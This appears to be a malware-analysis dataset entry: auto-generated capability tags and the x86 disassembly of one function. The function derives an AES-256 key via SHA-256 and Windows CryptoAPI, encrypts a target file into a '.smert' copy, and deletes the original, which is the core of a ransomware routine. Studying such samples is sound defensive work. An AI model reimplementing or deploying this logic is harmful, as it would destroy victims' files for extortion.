Function at 0x401329
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x220
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebp
mov dword [esp + 8], eax
mov ebp, ecx
push 0x104
lea eax, [esp + 0x120]
mov dword [esp + 0x18], edx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..exe
push ebp
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x40156e
lea eax, [esp + 0x11c]
push eax
push ebp
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
je 0x40156e
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push edi
push 0x403300
push ebp
call esi
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40156c
push ebx
push ebp
push str._s.smert
lea eax, [esp + 0x30]
push 0x100
push eax
call fcn.00401055
lea eax, [esp + 0x38]
push 0x403310
push eax
call esi
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x4013e6
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x40149f
push 0xf0000000
push 0x18
xor esi, esi
lea eax, [esp + 0x18]
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401492
lea eax, [esp + 0x18]
push eax
push esi
push esi
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push esi
test eax, eax
je 0x401488
push 0x20
push dword [esp + 0x28]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x401439
push dword [esp + 0x18]
jmp 0x40145a
lea eax, [esp + 0x1c]
push eax
push esi
push dword [esp + 0x20]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
push dword [esp + 0x18]
test eax, eax
jne 0x401462
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x401487
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [esp + 0x18]
push 1
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x4014a5
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push edi
call esi
push ebx
call esi
pop ecx
pop ecx
jmp 0x40156b
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x100000
call esi
mov dword [esp + 0x18], eax
mov dword [esp], 0x100010
call esi
push edi
push 0x100000
push 1
push dword [esp + 0x24]
mov esi, eax
mov dword [esp + 0x34], esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x14
jmp 0x401529
push 0x100010
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push esi
push 0
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
push eax
push 0
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x401584
push ebx
push dword [esp + 0x28]
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push edi
push 0x100000
push 1
push dword [esp + 0x30]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x20
test eax, eax
jne 0x4014dc
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push edi
call esi
push ebx
call esi
push dword [esp + 0x1c]
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
push dword [esp + 0x2c]
call esi
push ebp
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x14
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x220]
pop ebp
xor ecx, esp
call fcn.00401bbf
add esp, 0x220
ret
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push edi
call esi
push ebx
call esi
push dword [esp + 0x1c]
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
push dword [esp + 0x2c]
call esi
add esp, 0x10
jmp 0x40156b